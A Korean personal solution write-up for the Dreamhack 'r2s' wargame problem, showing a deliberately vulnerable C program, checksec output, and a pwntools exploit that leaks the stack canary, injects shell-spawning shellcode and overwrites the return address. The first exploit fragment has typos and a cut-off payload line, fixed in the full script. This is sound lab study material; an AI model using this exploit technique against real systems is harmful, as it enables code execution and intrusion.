읽기 안내
Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.
실습 코드
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x50];
printf("Address of the buf: %p\\n", buf);
printf("Distance between buf and $rbp: %ld\\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
분석
1. 취약점 분석
보호기법 탐지
리눅스에는 다양한 바이너리 보호기법이 존재한다. 적용된 보호기법에 따라 익스플로잇 설계가 달라지므로, 분석을 시도하기 전에 먼저 적용된 보호기법을 파악해보는 것이 좋다.
보호기법을 파악할 때 주로 사용하는 툴이 checksec이다. pwntools를 설치할 때 같이 설치되어 ~/.local/bin/checksec에 위치한다. checksec을 사용하면 간단한 커맨드 하나로 바이너리에 적용된 보호기법들을 파악할 수 있다.
$ checksec ./r2s
[*] '/home/dreamhack/r2s'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
취약점 탐색
1. buf의 주소
이 예제에서는 실습의 편의를 위해 buf의 주소 및 rbp와 buf 사이의 주소 차이를 알려준다.
printf("Address of the buf: %p\\n", buf);
printf("Distance between buf and $rbp: %ld\\n",
(char*)__builtin_frame_address(0) - buf);
2. 스택 버퍼 오버플로우
코드를 살펴보면 스택 버퍼인 buf에 총 두 번의 입력을 받는다. 그런데 두 입력 모두에서 오버플로우가 발생한다는 것을 알 수 있다.
char buf[0x50];
read(0, buf, 0x100); // 0x50 < 0x100
gets(buf); // Unsafe function
이 취약점들을 이용해서 셸을 획득해야 한다.
1. 카나리 우회
두 번째 입력으로 반환 주소를 덮을 수 있지만, 카나리가 조작되면 __stack_chk_fail 함수에 의해 프로그램이 강제 종료된다. 그러므로 첫 번째 입력에서 카나리를 먼저 구하고, 이를 두 번째 입력에 사용해야 한다.
첫 번째 입력의 바로 뒤에서 buf를 문자열로 출력해주기 대문에, buf에 적절한 오버플로우를 발생시키면 카나리 값을 구할 수 있을 것이다.
read(0, buf, 0x100) // Fill buf until it meets canary
printf("Your input is '%s'\\n", buf);
2. 셸 획득
카나리를 구했으면, 이제 두 번째 입력으로 반환 주소를 덮을 수 있다. 그런데 이 바이너리에는 셸을 획득해주는 get_shell() 같은 함수가 없다. 따라서 셸을 획득하는 코드를 직접 주입하고, 해당 주소로 실행 흐름을 옮겨야 한다. 주소를 알고 있는 buf에 셸코드를 주입하고, 해당 주소로 실행 흐름을 옮기면 셸을 획득할 수 있을 것이다.
2. 익스플로잇
스택 프레임 정보 수집
스택을 이용하여 공격할 것이므로, 스택 프레임의 구조를 먼저 파악해야 한다. 스택 프레임에서의 buf 위치를 보여주므로, 이를 적절히 파싱할 수만 있으면 된다.
process, recv, recvuntil, recvn, recvline 등의 함수를 사용해서 구현할 수 있다.
익스플로잇 코드
from pwn import *
def slog(n, m) : return success(': '.join([n, hex(m)]))
p = remote("host.dreamhack.games", portnum)
context.arch = 'amd64'
p.recvuntil(b'buf: ')
buf = int(p.recvline()[:1], 16)
slog('Address of buf', buf)
p.recvuntil(b'$rbp: ')
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog('buf <-> sfp', buf2sfp)
slog('buf <-> canary', buf2cnry)
카나리 릭
스택 프레임에 댛나 정보를 수집했으므로, 이를 활용하여 카나리를 구해야한다. buf와 카나리 사이를 임의의 값으로 채우면, 프로그램에서 buf를 출력할 때 카나리가 같이 출력될 것이다. 앞에서 구한 스택 프레임의 구조를 고려하여, 카나리를 구하도록 스크립트를 추가해보자.

Leak the canary
# [2] Leak canary value
payload = b'A' * (buf2cnry + 1) # because of the first null-byte
p.sendafter(b'Input:', payload)
p.recvuntil(payload)
cnry = u64(b'\\x00' + p.recvn(7))
slog('Canary', cnry)
카나리를 구했으므로, 이제 buf에 셸코드를 주입하고, 카나리를 구한 값으로 덮은 뒤, 반환 주소(RET)를 buf로 덮으면 셸코드가 실행되게할 수 있다. context.arch, shellcraft, asm을 이용하면 스크립트를 쉽게 추가할 수 있다.

# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B' * 0x8 + p
#gets() receives input until '\\n' is received
p.sendlineafter(b'Input:', payload)
p.interactive()
전체 익스플로잇 코드
#!/usr/bin/env python3
# Name: r2s.py
from pwn import *
def slog(n, m): return success(': '.join([n, hex(m)]))
p = process('./r2s')
context.arch = 'amd64'
# [1] Get information about buf
p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16)
slog('Address of buf', buf)
p.recvuntil(b'$rbp: ')
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog('buf <=> sfp', buf2sfp)
slog('buf <=> canary', buf2cnry)
# [2] Leak canary value
payload = b'A'*(buf2cnry + 1) # (+1) because of the first null-byte
p.sendafter(b'Input:', payload)
p.recvuntil(payload)
cnry = u64(b'\\x00'+p.recvn(7))
slog('Canary', cnry)
# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)
# gets() receives input until '\\n' is received
p.sendlineafter(b'Input:', payload)
p.interactive()
작성 기록과 문제 출처
원문과 출처
풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.
원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.
이미지 원본 출처
다음 글